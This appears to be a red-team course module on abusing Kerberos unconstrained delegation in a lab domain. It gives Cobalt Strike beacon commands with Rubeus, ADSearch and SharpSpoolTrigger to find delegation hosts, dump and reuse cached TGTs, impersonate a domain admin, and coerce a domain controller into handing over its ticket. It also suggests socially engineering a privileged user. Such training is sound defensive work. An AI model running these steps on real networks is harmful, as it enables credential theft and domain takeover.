Unconstrained Delegation
Delegation allows a user or machine to act on behalf of another user to another service. A common implementation of this is where a user authenticates to a front-end web application that serves a back-end database. The front-end application needs to authenticate to the back-end database (using Kerberos) as the authenticated user.
\

\
We know how a user performs Kerberos authentication to the Web Server, but how can the Web Server authenticate to the DB and perform actions as the user? Unconstrained Delegation was the first solution to this problem, introduced in Windows 2000. When configured on a computer, the KDC includes a copy of the user's TGT inside the TGS. In this example, when the user accesses the Web Server, it extracts the user's TGT from the TGS and caches it in memory. When the Web Server needs to access the DB Server on behalf of that user, it uses the user’s TGT to request a TGS for the database service.
An interesting aspect to unconstrained delegation is that it will cache the user’s TGT regardless of which service is being accessed by the user. So, if an admin accesses a file share or any other service on the machine that uses Kerberos, their TGT will be cached. If we can compromise a machine with unconstrained delegation, we can extract any TGTs from its memory and use them to impersonate the users against other services in the domain.
This query will return all computers that are permitted for unconstrained delegation.
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname
[*] TOTAL NUMBER OF SEARCH RESULTS: 2
[+] samaccountname : DC-2$
[+] dnshostname : dc-2.dev.cyberbotic.io
[+] samaccountname : WEB$
[+] dnshostname : web.dev.cyberbotic.io
Domain Controllers are always permitted for unconstrained delegation.
\
If we compromise WEB$ and wait or socially engineer a privileged user to interact with it, we can steal their cached TGT. Interaction can be via any Kerberos service, so something as simple as dir \\web\c$
is enough. Rubeus triage
will show all the tickets that are currently cached. TGTs can be identified by the krbtgt service.
beacon> getuid
[*] You are NT AUTHORITY\SYSTEM (admin)
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage
---------------------------------------------------------------------------------------------------------------
| LUID | UserName | Service | EndTime |
---------------------------------------------------------------------------------------------------------------
| 0x14794e | nlamb @ DEV.CYBERBOTIC.IO | krbtgt/DEV.CYBERBOTIC.IO | 10/4/2022 9:35:38 PM |
There is a scheduled task running on Workstation 1 as nlamb that will interact with WEB$ every 5 minutes. If the ticket is not there, wait a minute or so and try again.
\
We can simply extract this TGT and leverage it via a new logon session.
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x14794e /nowrap
doIFwj [...snip...] MuSU8=
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFwj[...]MuSU8=
[*] Using DEV\nlamb:FakePass
[*] Showing process : False
[*] Username : nlamb
[*] Domain : DEV
[*] Password : FakePass
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 1540
[+] Ticket successfully imported!
[+] LUID : 0x3206fb
beacon> steal_token 1540
beacon> ls \\dc-2.dev.cyberbotic.io\c$
Size Type Last Modified Name
---- ---- ------------- ----
dir 08/15/2022 15:44:08 $Recycle.Bin
dir 08/10/2022 04:55:17 $WinREAgent
dir 08/10/2022 05:05:53 Boot
dir 08/18/2021 23:34:55 Documents and Settings
dir 08/19/2021 06:24:49 EFI
dir 08/15/2022 16:09:55 inetpub
dir 05/08/2021 08:20:24 PerfLogs
dir 08/24/2022 10:51:51 Program Files
dir 08/10/2022 04:06:16 Program Files (x86)
dir 09/05/2022 17:17:48 ProgramData
dir 08/15/2022 15:23:23 Recovery
dir 08/16/2022 12:37:38 Shares
dir 09/05/2022 12:03:43 System Volume Information
dir 08/15/2022 15:24:39 Users
dir 09/05/2022 17:09:56 Windows
427kb fil 08/10/2022 05:00:07 bootmgr
1b fil 05/08/2021 08:14:33 BOOTNXT
1kb fil 08/15/2022 16:16:13 dc-2.dev.cyberbotic.io_sub-ca.req
12kb fil 09/05/2022 07:25:58 DumpStack.log
12kb fil 09/06/2022 09:04:41 DumpStack.log.tmp
384mb fil 09/06/2022 09:04:41 pagefile.sys
\
\
We can also obtain TGTs for computer accounts by forcing them to authenticate remotely to this machine. As mentioned in the NTLM Relaying module of the Pivoting chapter, several tools exist to facilitate this. This time, we will force the domain controller to authenticate to the web server to steal its TGT.
We will also utilise Rubeus' monitor
command. This will drop into loop and continuously monitor for and extract new TGT as they get cached. It's a superior strategy when compared to running triage manually because there's little chance of us not seeing or missing a ticket.
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe monitor /interval:10 /nowrap
[*] Action: TGT Monitoring
[*] Monitoring every 10 seconds for new TGTs
\
Next, run SharpSpoolTrigger.
beacon> execute-assembly C:\Tools\SharpSystemTriggers\SharpSpoolTrigger\bin\Release\SharpSpoolTrigger.exe dc-2.dev.cyberbotic.io web.dev.cyberbotic.io
Where:
DC-2 is the "target".
WEB is the "listener".
\
Rubeus will then capture the ticket.
[*] 9/6/2022 2:44:52 PM UTC - Found new TGT:
User : DC-2$@DEV.CYBERBOTIC.IO
StartTime : 9/6/2022 9:06:14 AM
EndTime : 9/6/2022 7:06:14 PM
RenewTill : 9/13/2022 9:06:14 AM
Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable
Base64EncodedTicket :
doIFuj[...]lDLklP
\
Machine TGTs are leveraged slightly differently - see the S4U2Self Abuse module. To stop Rubeus, use the jobs
and jobkill
commands.
Last updated